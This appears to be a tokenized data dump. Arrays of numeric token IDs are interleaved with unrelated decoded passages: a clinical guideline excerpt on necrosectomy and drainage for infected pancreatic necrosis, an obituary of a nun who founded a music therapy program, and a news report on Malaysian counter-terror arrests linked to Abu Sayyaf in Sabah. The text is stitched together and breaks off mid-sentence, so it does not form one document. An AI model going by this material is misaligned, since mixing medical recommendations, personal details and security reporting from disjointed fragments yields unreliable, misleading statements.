2361, 407, 253, 1072, 2488, 387, 2761, 253, 1072, 673, 13, 253, 13367, 273, 253, 941, 310, 4122, 30455, 15, 496, 1529, 2929, 327, 5415, 4581, 298, 16476, 22372, 1311, 1671, 62, 5512, 2716, 273, 253, 1363, 13368, 10280, 25825, 22438, 16, 615, 7807, 1003, 1249, 390, 2145, 2069, 13, 285, 3021, 253, 1543, 2361, 275, 326, 2929, 2550, 320, 2783, 247, 6313, 12906, 273, 253, 1055, 273, 5415, 4581, 298, 16476, 15, 187, 187, 2512, 310, 247, 9355, 15136, 287, 7338, 4182, 16, 615, 7807, 1003, 5199, 275, 534, 15136, 287, 7338, 4182, 310, 6015, 407, 20220, 11196, 253, 17322, 10785, 281, 3693, 253, 13622, 45052, 6460, 273, 1527, 26111, 313, 13019, 374, 68, 481, 683, 1311, 2950, 62, 329, 3332, 2278, 2429, 5415, 4581, 298, 16476, 13, 9355, 15136, 287, 7338, 4182, 313, 9877, 3803, 5853, 582, 285, 1527, 26111, 6334, 1311, 2504, 62, 380, 1304, 4767, 326, 253, 7891, 2281, 275, 15136, 8601, 3006, 15947, 5895, 1363, 4127, 407, 5415, 4581, 298, 16476, 13, 1182, 32456, 5853, 13, 285, 1527, 26111, 369, 655, 5294, 2164, 5294, 285, 1384, 15, 18, 5294, 2975, 13, 285, 326, 253, 3910, 875, 253, 2390, 497, 417, 1534, 15, 380, 4581, 298, 16476, 1387, 574, 247, 2406, 9364, 273, 49214, 4702, 313, 81, 1377, 675, 280, 49214, 285, 16356, 49214, 10, 285, 16002, 30415, 13, 533, 247, 2169, 2281, 273, 10280, 4254, 13, 5727, 253, 1182, 32456, 5853, 285, 1527, 26111, 497, 7943, 407, 247, 2169, 9364, 273, 49214, 4702, 285, 16002, 30415, 13, 533, 247, 2406, 2281, 273, 10280, 4254, 15, 187, 187, 1147, 310, 2834, 281, 7525, 432, 4390, 2130, 1941, 1880, 5415, 4581, 298, 16476, 390, 1527, 26111, 313, 263, 253, 1182, 32456, 5853, 10, 310, 1805, 13, 285, 275, 3332, 1107, 581, 273, 841, 26111, 5609, 556, 644, 6777, 15744, 407, 30208, 2556, 281, 253, 6070, 273, 9813, 15136, 29800, 4408, 15, 48094, 4581, 298, 16476, 310, 6777, 672, 15136, 29800, 4408, 310, 15783, 1475, 253, 35142, 13, 285, 1527, 26111, 310, 8521, 604, 253, 15136, 29800, 2170, 556, 5195, 432, 253, 5230, 273, 253, 6191, 4368, 251, 281, 253, 987, 285, 16, 263, 1669, 1061, 317, 3422, 11479, 350, 6334, 1311, 2385, 62, 187, 187, 24881, 13, 1679, 14, 26681, 7259, 452, 644, 9013, 15, 4923, 253, 35142, 310, 247, 13767, 36881, 1963, 13, 15136, 287, 7338, 4182, 3815, 407, 247, 13767, 36881, 2746, 310, 2684, 342, 19645, 1980, 298, 16476, 313, 13019, 374, 68, 481, 683, 1311, 2537, 2947, 1311, 1235, 62, 380, 5373, 273, 436, 5199, 403, 27, 313, 18, 10, 591, 24786, 5895, 476, 320, 14415, 984, 253, 17322, 13369, 310, 417, 5966, 285, 12741, 272, 16711, 403, 417, 48313, 715, 253, 35948, 13369, 13, 313, 19, 10, 7946, 10820, 476, 320, 30974, 13515, 846, 253, 4254, 13, 313, 20, 10, 253, 2495, 273, 16356, 49214, 4702, 310, 1698, 13, 285, 313, 21, 10, 253, 9364, 273, 10785, 5066, 285, 17322, 3402, 33708, 267, 617, 15298, 310, 36625, 15, 380, 23797, 403, 2330, 342, 253, 2746, 1146, 2822, 253, 1481, 273, 253, 35142, 15, 733, 310, 2834, 281, 3986, 253, 12637, 2553, 273, 253, 3443, 351, 14379, 407, 247, 13767, 36881, 2746, 432, 253, 987, 1930, 13, 285, 271, 13847, 5199, 8687, 253, 2495, 273, 7863, 14771, 347, 247, 906, 273, 4723, 281, 253, 3443, 50054, 3402, 285, 20280, 27394, 15, 187, 187, 21342, 13, 747, 1679, 14, 26681, 7259, 824, 347, 41715, 15136, 287, 7338, 4182, 313, 13019, 374, 68, 43189, 1311, 3712, 7254, 1311, 3357, 62, 285, 32709, 811, 72, 42925, 15136, 287, 7338, 4182, 683, 1311, 3439, 62, 452, 644, 3597, 285, 20714, 13857, 1543, 15, 1294, 468, 7103, 273, 841, 747, 4323, 7259, 588, 2430, 253, 4849, 273, 941, 432, 3081, 2219, 285, 956, 14, 484, 25988, 15, 187, 187, 49, 1377, 675, 280, 40183, 1712, 4538, 1047, 94, 187, 37338, 187, 187, 36, 50, 24, 15, 1359, 943, 18404, 40183, 320, 7303, 32, 330, 50, 25, 15, 1737, 310, 253, 14011, 323, 9205, 26111, 275, 18404, 40183, 32, 1712, 4538, 1010, 94, 187, 39423, 6846, 187, 187, 11, 52, 19785, 390, 41715, 26111, 943, 320, 2684, 11, 323, 18404, 40183, 313, 1785, 27167, 318, 378, 481, 1310, 253, 3382, 4342, 273, 18404, 40183, 403, 417, 5520, 407, 41715, 26111, 13, 9205, 26111, 943, 320, 2684, 4745, 94 ]	no consensus regarding the timing of surgery.[@CR26] Surgical procedures {#Sec10} ------------------- ### CQ5. What is the optimal surgical procedure for infected pancreatic necrosis? {#Sec11} Necrosectomy is recommended as the optimal surgical procedure for infected pancreatic necrosis (Recommendation A) Surgical procedures employed to treat severe acute pancreatitis in the past included mobilization and drainage of the pancreatic bed and extended pancreatic resection. Drainage of the pancreatic bed was widely used in Japan as a standard surgical procedure in the 1980s through the early 1990s. However, it is no longer used because maximal therapy in an intensive care unit has become the principal procedure for managing severe acute pancreatitis and the advances in imaging modalities have provided objective evidence that the necrotic tissue cannot be removed by a simple drainage procedure. On the other hand, the extended pancreatic resection that was the major procedure used mainly in European countries from the 1970s through the 1980s has been increasingly avoided in view of the high incidence of postoperative complications, the failure to improve the overall life-saving rate (Level 1b--3b),[@CR27],[@CR28] and the lowered quality of life in surviving patients because of the development of abnormal glucose tolerance.[@CR27] Necrosectomy, or debridement of necrotic tissue, including necrotic pancreatic tissue and peripancreatic fat necrosis, is currently used as the key procedure for necrotizing pancreatitis, and no other surgical procedure produces a better outcome (Level 2c).[@CR21],[@CR29] Drainage procedures after necrosectomy {#Sec12} -------------------------------------- ### CQ6. What is the optimal drainage procedure after necrosectomy? {#Sec13} Simple drainage (Recommendation D) should be avoided as the drainage procedure after necrosectomy, and either continuous closed lavage or open drainage (planned necrosectomy) (Recommendation B) should be performed instead. The choice between these two procedures can be made at the time based on the surgical findings and/or surgeon's experience Necrosectomy for necrotizing pancreatitis is designed to remove as much necrotic pancreatic tissue as possible. However, because complete debridement is difficult as a result of hemorrhage and because the outcome depends on how thoroughly the remaining necrotic tissue is removed,[@CR29] the simple (conventional) drainage performed in the past should be avoided. The drainage procedures used to remove the necrotic foci after necrosectomy can be mainly classified as (1) conventional drainage, (2) continuous closed lavage, and (3) open drainage. Conventional drainage is simple drainage through an indwelling drainage tube. Continuous closed lavage consists of continuous local irrigation with 6--8 l/day physiological saline through an indwelling double-lumen tube and is continued until no discharge of necrotic tissue is observed.[@CR21] Open drainage is direct drainage through the open wound in the abdominal wall achieved by packing the retroperitoneal space and lesser sac with gauze after necrosectomy, and the same procedure is repeated as scheduled (every 2--3 days) until necrotic tissue is no longer observed.[@CR29] Discussion of the comparative advantages of various drainage procedures has continued for more than 20 years, and two reviews based on systematic literature searches have been published. The first review (Level 2a),[@CR30] published in 1991, analyzed relevant articles published during the 1980s and revealed that the mortality rate of patients with infected pancreatic necrosis treated by conventional drainage, continuous closed lavage, and open drainage was 42%, 18%, and 21%, respectively, and that the outcome of the conventional drainage group was significantly poorer (P \< 0.05). The other review (Level 2a),[@CR31] which analyzed articles published in the 1990s, revealed that the mortality rate of the patients with infected pancreatic necrosis treated using the above methods was 23.3%, 10.5%, and 28.3%, respectively. When the analysis was limited to articles dealing with severe cases \[an average APACHE II (AP-II) score of 17 or more\], the mortality rate was 45.8%, 6.3%, and 23.5%, respectively (Table [1](#Tab1){ref-type="table"}). Both reviews show that patients treated by continuous closed lavage had the best outcome. Table 1Systematic review of the outcomes of three major drainage procedures after necrosectomy for infected pancreatic necrosis[@CR31]Necrosectomy with conventional drainageNecrosectomy with continuous closed lavageNecrosectomy with open drainageReferencenAP-IIDeathsReferencenAP-IIDeathsReferencenAP-IIDeathsFernandez-del Castillo et al.^20^3610.63 (8.3%)Farkas et al.^34^14218.59 (6.3%)Kriwanek et al.^37^631116 (25.4%)Branum et al.^35^42-3 (7.0%)Bradley^38^4614.66 (13.0%)Harris et al.^32^91844 (44.4%)Chaudhary et al.^36^83-16 (19.3%)Van Goor et al.^39^10193 (30.0%)Doglietto et al.^33^15187 (46.7%)Margulies and Akin^41^10-3 (30.0%)Harris et al.^32^11182 (18.2%)Doglietto et al.^33^13173 (23.1%)Orlando et al.^41^15-3 (20.0%)Fugger et al.^42^87-34 (39.1%)Schein^43^91255 (55.6%)Stanten and Frey^44^12-3 (25.0%)Total6014 (23.3%)Total26728 (10.5%)Total27678 (28.3%) However, because of extreme inconsistency between the results of two papers[@CR34],[@CR45] on continuous closed lavage, both of which were included in the latter systematic review and were reported by the same author at almost the same time, the reliability of the data is highly questionable. In another paper on continuous closed lavage,[@CR35] approximately half of the patients underwent repeat laparotomy/debridement 12 or 13 times, and thus the results reported in that paper cannot be considered a pure reflection of the effect of continuous closed lavage. There is a planned necrosectomy/debridement procedure in which necrosectomy is repeated by temporarily closing the abdominal wound to avoid the excessive invasiveness of open drainage (Level 2c).[@CR46] A recent review compared continuous closed lavage, planned necrosectomy (zipper technique), and open drainage.[@CR47] The report stated that the mortality rate in necrotizing pancreatitis patients treated by continuous closed lavage, zipper technique, and open drainage was 19%, 24%, and 20.1%, respectively, and that the differences between the groups were not significant. The closed lavage group had a lower incidence of fistula formation (pancreatic fistula and intestinal fistula) and postoperative hemorrhage, but a higher rate of repeat operation, whereas the zipper technique and open drainage were characterized by a higher incidence of fistula formation and postoperative hemorrhage, but a lower rate of repeat operation. It is difficult to conclude from currently available evidence whether continuous closed lavage or open drainage (or the zipper technique) is better, and in recent years one of these drainage techniques has been chosen freely by surgeons according to the extent of infected necrotic tissue. Continuous closed lavage is chosen when necrotic tissue is localized around the pancreas, and open drainage is recommended if the necrotic area has spread from the root of the mesocolon to the right and/or left paracolic gutter.[@CR48] Recently, less-invasive procedures have been preferred. Because the pancreas is a retroperitoneal organ, necrosectomy alone by a retroperitoneal approach is performed with simultaneous local lavage (Level 2c).[@CR49],[@CR50] The benefits of this procedure are: (1) peritonitis can be prevented because the abdominal cavity is not entered and infecting organisms are not disseminated into the peritoneal cavity, (2) oral intake can be resumed shortly after the operation, (3) the risk of intestinal fistula formation is low, and (4) the incidence of wound infection and abdominal wall incisional hernia is minimized. The disadvantages are associated with the approach being near the head of the pancreas. It is difficult to reach the posterior surface of the duodenum by a retroperitoneal approach from the right side, and an aggressive procedure involves the risk of massive bleeding as a result of damage to the duodenal wall and portal veins. Moreover, new less-invasive procedures such as percutaneous necrosectomy (Level 2c)[@CR51]--[@CR53] and endoscopic transgastric necrosectomy[@CR54] have been tried and yielded favorable results. Proper evaluation of these new management procedures will require the collection of data from additional cases and follow-up examinations. Pancreatic abscess {#Sec14} ================== CQ7. How should pancreatic abscess be managed? CQ8. What is the indication for surgical drainage in pancreatic abscess? {#Sec15} ----------------------------------------------------------------------------------------------------------------------- Surgical or percutaneous drainage should be performed for pancreatic abscess (Recommendation B). If the clinical findings of pancreatic abscess are not improved by percutaneous drainage, surgical drainage should be performed immediately}
[ 1625, 14, 267, 23750, 15, 187, 187, 45, 4894, 24535, 13, 253, 6393, 6169, 4007, 13, 556, 644, 17847, 407, 253, 22964, 273, 35213, 20254, 4978, 457, 84, 3438, 3484, 13, 1142, 273, 5207, 703, 457, 69, 10256, 247, 2716, 5331, 3622, 13, 285, 273, 253, 6393, 6169, 4750, 326, 703, 17846, 2149, 342, 14168, 7881, 275, 436, 5331, 15, 6676, 3531, 598, 247, 807, 3622, 672, 13, 3618, 1078, 617, 5091, 394, 14348, 13, 6393, 6169, 28173, 617, 323, 23569, 253, 3440, 4918, 2086, 15, 187, 187, 1628, 42, 1620, 1313, 247, 1436, 665, 1904, 457, 85, 2389, 617, 1806, 39449, 24535, 753, 15, 773, 17277, 10954, 403, 751, 1270, 19418, 13, 703, 369, 18462, 285, 1119, 247, 1039, 281, 1361, 1016, 5974, 281, 3986, 253, 1735, 1268, 1425, 187, 187, 2993, 310, 16139, 407, 617, 7586, 13, 49567, 16442, 274, 610, 273, 14296, 28, 15361, 707, 49567, 308, 445, 26666, 273, 14296, 285, 12324, 363, 596, 656, 8243, 273, 10039, 13, 6112, 28, 30124, 8819, 7252, 16442, 274, 610, 10512, 15, 273, 5003, 18089, 13, 6112, 13, 285, 6277, 16442, 274, 610, 273, 22119, 28, 767, 4936, 14, 79, 554, 248, 8819, 285, 767, 4936, 10633, 707, 15, 4058, 1273, 19338, 6445, 2338, 10956, 2516, 20254, 4978, 588, 1333, 617, 20915, 7532, 3344, 15, 2030, 387, 884, 247, 15, 78, 15, 275, 253, 34374, 29241, 1041, 570, 34687, 13, 48242, 3684, 2101, 80, 13616, 21775, 904, 275, 15808, 257, 317, 15, 7634, 451, 588, 956, 387, 2263, 39381, 36839, 15, 187, 187, 20536, 17215, 187, 187, 3404, 806, 17834, 13, 253, 11877, 7406, 2499, 13877, 5197, 285, 253, 659, 15, 7406, 44110, 1646, 281, 452, 37078, 1027, 21468, 15, 2596, 14993, 281, 2085, 253, 1682, 1557, 1896, 1563, 271, 2223, 25205, 6120, 15, 380, 643, 14993, 281, 5195, 253, 10763, 273, 3440, 20312, 352, 476, 15, 187, 187, 1989, 247, 4451, 14448, 4453, 281, 13398, 1110, 767, 21468, 347, 2223, 347, 1896, 275, 253, 2919, 434, 806, 11088, 3440, 4918, 2086, 1108, 281, 253, 5649, 273, 1097, 8889, 285, 253, 952, 597, 5752, 15, 17557, 698, 571, 27, 1889, 7334, 26957, 21882, 90, 2320, 9224, 1916, 6618, 5863, 11760, 496, 16336, 1240, 187, 187, 17557, 698, 571, 457, 84, 3513, 7015, 556, 7329, 5827, 407, 253, 49543, 26957, 21882, 90, 2320, 41515, 1387, 281, 873, 598, 247, 2613, 275, 253, 9268, 48191, 16336, 1240, 1375, 1563, 253, 5263, 273, 884, 952, 665, 14163, 6518, 13282, 23689, 4288, 281, 253, 1387, 457, 84, 2613, 275, 253, 11053, 22075, 15, 187, 187, 14897, 1005, 27819, 253, 5827, 846, 2709, 39395, 275, 253, 14730, 378, 9584, 80, 1375, 273, 16336, 1240, 432, 3344, 15, 2030, 281, 4416, 15, 721, 13, 48191, 3513, 7015, 15493, 312, 324, 401, 7958, 74, 3972, 328, 753, 275, 247, 3908, 15, 187, 187, 1628, 23527, 5839, 432, 253, 884, 25638, 9833, 275, 16336, 1240, 2692, 627, 497, 9437, 407, 7412, 40, 281, 873, 598, 247, 894, 275, 16336, 1240, 1806, 401, 7958, 74, 3972, 328, 753, 15, 187, 187, 21756, 8075, 9833, 767, 18618, 2458, 285, 1264, 36935, 15777, 1309, 253, 806, 873, 273, 4828, 14, 49587, 39395, 327, 3344, 15, 2030, 285, 3436, 275, 253, 22431, 3874, 273, 7889, 40946, 13, 16336, 1240, 13, 401, 7958, 74, 753, 15, 187, 187, 1628, 4041, 273, 253, 25638, 13, 247, 6931, 14, 2913, 14, 744, 36935, 2610, 13, 574, 35696, 22964, 281, 247, 8474, 6657, 273, 247, 7075, 1387, 275, 253, 11053, 22075, 275, 5307, 1806, 344, 753, 15, 187, 187, 39, 7958, 74, 13072, 281, 4271, 253, 36935, 2610, 13, 533, 753, 253, 9101, 14163, 32452, 342, 247, 8474, 6657, 273, 247, 354, 14, 34330, 280, 2418, 313, 1830, 10, 1387, 275, 253, 11053, 22075, 15, 187, 187, 510, 9101, 13, 401, 7958, 74, 753, 13, 2959, 7997, 281, 10073, 2067, 4110, 2758, 275, 15153, 281, 253, 11053, 43783, 14254, 273, 1503, 47311, 28874, 13, 835, 597, 497, 3264, 281, 6604, 247, 41515, 1387, 15, 187, 187, 39, 7958, 74, 858, 417, 4271, 253, 3872, 1005, 273, 253, 4110, 2758, 285, 352, 369, 417, 2590, 604, 597, 8379, 4925, 616, 12095, 15, 32668, 2392, 2868, 253, 1740, 643, 25638, 497, 3206, 275, 253, 4288, 16669, 347, 973, 15, 187, 187, 510, 4999, 10056, 651, 1581, 4110, 281, 3324, 275, 20998, 432, 29797, 10497, 281, 253, 11053, 22075, 323, 11757, 3733, 13, 401, 7958, 74, 753, 15, 187, 187, 1628, 510, 1072, 7075, 894, 812, 320, 908, 281, 8027, 8104, 275, 16336, 1240, 275, 253, 2852, 1806, 344, 753, 15, 187, 187, 39, 7958, 74, 858, 417, 2085, 625, 4278, 327, 253, 25638, 13, 533, 753, 597, 497, 875, 253, 11880, 273, 5922, 285, 2456, 285, 767, 273, 731, 4307, 347, 5188, 43770, 1223, 581, 369, 247, 9735, 21114, 3803, 15, 2596, 369, 35700, 285, 253, 1551, 30060, 4307, 275, 5639, 14731, 11947, 15, 187, 187, 27077, 14, 32511, 3513, 671, 9833, 1264, 36935, 15777, 285, 247, 48191, 3416, 275, 16336, 1240, 457, 84, 7009, 1301, 606, 3286, 327, 4416, 15, 577, 13, 401, 7958, 74, 753, 15, 187, 187, 1328, 753, 253, 25638, 497, 6571, 10329, 398, 13, 533, 581, 273, 731, 369, 247, 3435, 14, 2913, 14, 744, 637, 6566, 281, 320, 247, 18273, 35200, 273, 247, 6657, 273, 253, 5320, 382, 26957, 21882, 90, 2320, 5901, 313, 1719, 40, 10, 1754, 275, 42385, 266, 275, 253, 11053, 22075, 13, 835, 13281, 36917, 452, 644, 6498, 323, 8007, 15, 187, 187, 688, 1529, 3332, 956, 14, 484, 25682, 275, 7889, 40946, 13, 401, 7958, 74, 753, 9061, 9833, 247, 7584, 14, 2913, 14, 744, 7674, 6254, 13, 247, 36935, 2610, 342, 247, 48191, 9928, 14544, 3708, 15, 380, 7674, 6254, 285, 253, 643, 7457, 25638, 497, 28952, 762, 253, 9044, 5566, 5060, 313, 22166, 3189, 16997, 10, 313, 52, 2697, 3788, 10, 3162, 4050, 15, 187, 187, 11752, 322, 2697, 3788, 13, 48191, 9061, 476, 2186, 25638, 598, 281, 3349, 1897, 1293, 2332, 15, 380, 1569, 7932, 253, 21074, 9044, 3162, 13, 534, 4136, 323, 22680, 273, 598, 281, 767, 1107, 1293, 10568, 9061, 281, 1246, 253, 9101, 275, 1302, 15, 187, 187, 510, 31285, 3324, 281, 42671, 253, 1180, 273, 952, 28952, 407, 48191, 9061, 327, 18910, 273, 4859, 342, 7075, 2390, 1309, 253, 2469, 1740, 1107, 13, 2556, 281, 247, 6029, 274, 19537, 47966, 15, 187, 187, 6189, 262, 7622, 323, 36917, 187, 187, 8693, 1770, 13, 22587, 706, 21128, 2752, 23341, 367, 2682, 333, 13, 7015, 273, 253, 3872, 3513, 457, 84, 4828, 14, 32511, 382, 2714, 7789, 13, 753, 16336, 1240, 556, 1048, 5608, 347, 247, 18622, 7622, 323, 5639, 36917, 13, 1690, 432, 20667, 23340, 15, 187, 187, 1628, 2042, 597, 1053, 457, 85, 18622, 432, 16336, 1240, 13, 597, 476, 564, 281, 11053, 22075, 3587, 432, 616, 1728, 2586, 15, 1292, 352, 457, 84, 247, 1048, 9455, 689, 253, 36375, 1403, 27544, 11936, 1806, 344, 753, 15, 773, 2598, 352, 310, 1199, 6927, 281, 18622, 432, 16336, 1240, 1425, 187, 187, 510, 22431, 3874, 273, 7889, 40946, 3400, 33111, 3238, 281, 253, 11053, 22075, 13, 835, 7412, 40, 36917, 10196, 275, 8905, 18430, 15, 7412, 40, 310, 32566, 323, 21064, 33650, 13, 10110, 723, 285, 3632, 8104, 275, 253, 11053, 22075, 15, 187, 187, 45772, 253, 3929, 32, 2635, 4496, 1908, 1053, 839, 3063, 281, 5416, 326, 24520, 13411, 8439, 476, 4035, 281, 320, 2104, 281, 2085, 2074, 2600, 15, 187, 187, 17126, 274, 19537, 187, 187, 17126, 274, 19537, 457, 7517, 310, 281, 2085, 10668, 342, 7899, 3668, 285, 1491, 326, 13806, 253, 2570, 285, 2455, 14, 28276, 1533, 1475, 731, 15, 2726, 1728, 21505, 275, 21524, 8952, 13, 28191, 13, 21789, 19924, 23799, 13, 21789, 19924, 23340, 285, 4383, 13, 6029, 274, 19537, 10316, 14793, 3668, 281, 697, 11117, 8446, 15, 8283, 6029, 274, 19537, 15, 26713, 342, 253, 9214, 273, 6029, 274, 19537, 187, 187, 36234, 1974, 42372, 187, 187, 1552, 4422, 4648, 14268, 594, 326, 359, 476, 2085, 368, 342, 253, 1682, 2608, 2793, 1896, 15, 49391, 1491, 310, 7141, 275, 634, 9882, 285, 17923, 3470, 824, 347, 26182, 368, 672, 368, 1091, 281, 776, 4422, 285, 9073, 776, 2285, 281, 2096, 534, 7118, 273, 253, 4422, 368, 1089, 954, 4722, 285, 4217, 15, 187, 187, 1394, 476, 4575, 512, 273, 634, 19550, 7533, 407, 49858, 253, 28815, 327, 253, 1669, 1133, 1930, 15, 187, 187, 20, 5784, 7021, 49158, 187, 187, 1552, 4422, 4648, 5559, 41220, 285, 6515, 20285, 281, 4822, 17679, 1491, 824, 347, 253, 1180, 273, 12942, 281, 253, 2670, 13, 285, 253, 954, 4633, 7223, 15, 187, 187, 9499, 10413, 841, 14268, 11410, 7729, 441, 281, 3157, 776, 4422, 15, 187, 187, 25902, 187, 187, 7845, 8046, 659, 1467, 314, 3532, 829, 552, 49158, 806, 594, 326, 359, 476, 5321, 634, 17971, 2, 187, 187, 14087, 49158, 187, 187, 1552, 4422, 4648, 253, 1563, 3081, 14268, 27, 329, 1397, 1215, 13, 5733, 1552, 285, 15167, 15, 187, 187, 25902, 187, 187, 7845, 8046, 659, 1467, 314, 3532, 829, 552, 49158, 806, 594, 326, 359, 476, 5321, 634, 17971, 2, 45, 4953, 313, 45, 536, 16336, 3227, 37288, 10, 187, 187, 45, 4953, 45802, 16336, 3227, 37288, 310, 581, 273, 253, 5693, 45802, 16336, 3227, 313, 1148, 8782, 552, 10, 13085, 4601, 273, 12828, 31210, 49604, 1375, 275, 10439, 5427, 15, 187, 187, 27711, 13288, 187, 13349, 1574, 13, 846, 253, 7092, 273, 38352, 3535, 273, 253, 30566, 13085, 4601, 275, 4695, 13, 418, 4953, 45802, 16336, 3227, 37288, 12093, 253, 1563, 2800, 657, 301, 5582, 16336, 3227, 313, 18596, 12937, 800, 14184, 10, 13288, 27, 187, 187, 22282, 273, 13171, 187, 187, 41083, 14, 3832, 27, 45866, 86, 1371, 1057, 417, 2226, 187, 187, 4814, 187, 187, 38, 1788, 1543, 187, 187, 13425, 12337, 6157, 187, 187, 13425, 12337, 4748, 187, 187, 13425, 12337, 4059, 187, 187, 13425, 12337, 6247, 187, 187, 16927, 187, 187, 7504, 4859, 187, 45, 4953, 298, 536, 18429, 3227, 50276, 585, 2376, 86, 1371, 6132, 6247, 1543, 4278, 187, 187, 1413, 27, 45, 536, 16336, 3227, 13085, 4601, 275, 12828, 31210, 49604, 187, 1413, 27, 45, 4953, 3286, 187, 1413, 27, 37010, 982, 273, 427, 12086, 3286, 13804, 744, 17468, 437, 187, 187, 13804, 744, 17468, 437, 313, 883, 2552, 37400, 1108, 1722, 5080, 23084, 10, 369, 271, 2448, 1963, 382, 15, 50276, 1328, 369, 973, 1929, 347, 247, 40247, 285, 3336, 1080, 13, 9551, 387, 19120, 3370, 472, 285, 6398, 13740, 2767, 13, 247, 25375, 273, 247, 1781, 1180, 273, 448, 7909, 271, 45739, 285, 14088, 1963, 7437, 13, 285, 347, 247, 11906, 6657, 275, 253, 2448, 33680, 273, 10164, 1346, 15, 187, 187, 14660, 285, 5249, 187, 13804, 744, 17468, 437, 369, 5686, 275, 41198, 13, 20507, 13, 1457, 2816, 15, 50276, 3404, 2363, 25279, 13, 344, 3395, 253, 1963, 382, 273, 3973, 1986, 43327, 10643, 47441, 6412, 275, 41198, 13, 20507, 13, 1223, 12392, 1963, 342, 39159, 443, 1079, 285, 5119, 16638, 15, 8757, 15, 50276, 40151, 1107, 1996, 13, 275, 31687, 13, 344, 369, 11162, 10164, 382, 387, 2263, 39381, 6412, 13, 1457, 2816, 13, 285, 344, 671, 4307, 387, 659, 15, 5490, 253, 15405, 13, 1810, 1032, 22604, 3733, 247, 8290, 285, 6838, 40656, 327, 2129, 11015, 285, 4882, 323, 6926, 9055, 3238, 15, 50276, 688, 29063, 13, 344, 12431, 253, 401, 2696, 48, 11833, 3691, 432, 253, 2448, 33680, 273, 10164, 1346, 13, 697, 4585, 25344, 13, 1223, 344, 4821, 281, 1263, 387, 19120, 3370, 472, 4726, 762, 22547, 411, 6533, 66, 274, 285, 19528, 35015, 15, 187, 187, 688, 31039, 13, 17468, 437, 369, 11162, 10164, 382, 285, 13999, 2683, 2237, 387, 659, 15, 2516, 434, 6412, 13, 8911, 3228, 13, 1457, 8911, 13, 285, 253, 1735, 807, 13, 30953, 13, 344, 7028, 8524, 928, 754, 5242, 327, 3978, 3436, 275, 253, 34086, 273, 659, 15, 4033, 394, 311, 485, 88, 434, 6412, 15, 50276, 20810, 13, 8524, 928, 4962, 816, 2800, 2607, 1996, 327, 4565, 3285, 15, 50276, 48259, 437, 1996, 48194, 2200, 275, 28507, 281, 22138, 4009, 282, 1952, 16442, 628, 275, 659, 15, 2516, 434, 6412, 13, 285, 275, 326, 1072, 807, 3395, 253, 10353, 382, 281, 253, 46827, 443, 14906, 9585, 285, 247, 11719, 12819, 761, 1562, 382, 387, 31465, 6412, 15, 187, 187, 48259, 437, 4895, 281, 2263, 39381, 6412, 275, 22745, 13 ]	sing-alongs. Lombardi, the Maryville president, has been impressed by the loyalty of Sister Padberg’s former students, many of whom she’d taught a half century ago, and of the Maryville staff that she tutored with math challenges in this century. Many turned up a year ago when, weeks before her 90th birthday, Maryville honored her for founding the music therapy program. “I never met a person who didn’t love her,” Lombardi said. “Best teachers are like great coaches, she was encouraging and found a way to help each student to reach the next level.” She is survived by her sister, Peggy McGarry of Houston; nieces Peggy Trenholm of Houston and Terri Thyssen of Spring, Texas; nephews William McGarry Jr. of San Antonio, Texas, and Michael McGarry of Pittsburgh; two grand-nephews and two grandnieces. Her second cousin Jesuit Father John Padberg will say her funeral Mass Jan. 25 at 10 a.m. in the Villa Duchesne Chapel, 801 South Spoede Rd., in Frontenac. Burial will follow at Calvary Cemetery. Related Content At first glance, the Saint Louis University Cancer Center and the St. Louis Symphony seem to have vastly different missions. One seeks to provide the best care possible following an often devastating diagnosis. The other seeks to spread the beauty of music wherever it can. But a unique collaboration looks to combine those two missions as often as possible in the region's first comprehensive music therapy program – to the benefit of both organizations and the people they serve.Malaysia: Exposed Abu Sayyaf Plan To Set Up Base In Sabah Malaysia’s police chief has exposed plans by the ruthless Abu Sayyaf militant group to set up a base in the east Malaysian Sabah state following the arrest of 10 people who allegedly helped suspected terrorists travel to the group’s base in the southern Philippines. Authorities uncovered the plans after multiple raids in the eastern Borneo state of Sabah from Jan. 25 to Feb. 6, Malaysian police chief Mohamad Fuzi Harun said in a statement. “Initial investigation from the 10 suspects arrested in Sabah showed there were attempts by ASG to set up a cell in Sabah,” Fuzi Harun said. Officials arrested two Malaysians and three Filipinos during the first set of counter-terrorism raids on Jan. 25 and 26 in the coastal town of Sandakan, Sabah, Fuzi said. “One of the suspects, a 39-year-old Filipino, had pledged loyalty to a senior leader of a terror group in the southern Philippines in 2000,” he said. Fuzi declined to identify the Filipino, but said the suspect allegedly communicated with a senior leader of a pro-Islamic State (IS) group in the southern Philippines. The suspect, Fuzi said, received instructions to assist several IS members in traveling to the southern Philippine province of Zamboanga, where they were expected to join a militant group. Fuzi did not identify the nationalities of the IS members and it was not clear if they successfully reached their destination. Investigators believe the four other suspects were involved in the travel arrangements as well. The safe passage would allow IS to bring in fighters from Southeast Asia to the southern Philippines for combat training, Fuzi said. “The same terror cell could be used to launch attacks in Sabah in the future,” he said. Fuzi did not provide more details on the suspects, but said they were between the ages of 33 and 50 and two of them worked as laborers while one was a boat skipper. One was unemployed and the rest illegally worked in foreign currency trading. Counter-terror police also arrested three Filipinos and a Malaysian woman in Sabah’s Penampang district on Feb. 4, Fuzi said. He said the suspects were mostly gardeners, but one of them was a 27-year-old man believed to be a trusted aide of a leader of the extremist Abu Sayyaf Group (ASG) based in Basilan in the southern Philippines, where Islamic militants have been operating for decades. In another recent follow-up raid in Sandakan, Fuzi said authorities arrested a 49-year-old cab driver, a Filipino with a Malaysian permanent resident status. The cab driver and the other nine suspects were detained under the Security Offenses (Special Measures) (SOSMA) Act 2012. Under SOSMA, Malaysian authorities can hold suspects up to 28 days without trial. The law replaced the Internal Security Act, which allowed for detention of up to two years without requiring authorities to present the suspect in court. The arrests bring to 382 the number of people detained by Malaysian authorities on suspicion of links with terror groups during the past four years, according to a BenarNews tally. Transit route for militants Last month, Ayob Khan Mydin Pitchay, chief of the national police’s counter-terrorist special branch, said Sabah has long served as a transit route for foreign militants, including from neighboring Indonesia. “If they don’t transit from Sabah, they can go to southern Philippines directly from their home country. But it’s a long journey over the Sulawesi Sea,” he said. “So it is much easier to transit from Sabah.” The coastal town of Sandakan provides ferry services to the southern Philippines, where ASG militants operate in remote villages. ASG is notorious for kidnappings, bombings and random attacks in the southern Philippines. Enjoy the article? Then please consider donating today to ensure that Eurasia Review can continue to be able to provide similar content. BenarNews BenarNews’ mission is to provide readers with accurate news and information that reflects the complex and ever-changing world around them. With homepages in Bengali, Thai, Bahasa Malaysia, Bahasa Indonesia and English, BenarNews brings timely news to its diverse audience. Copyright BenarNews. Used with the permission of BenarNews Privacy Overview This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognizing you 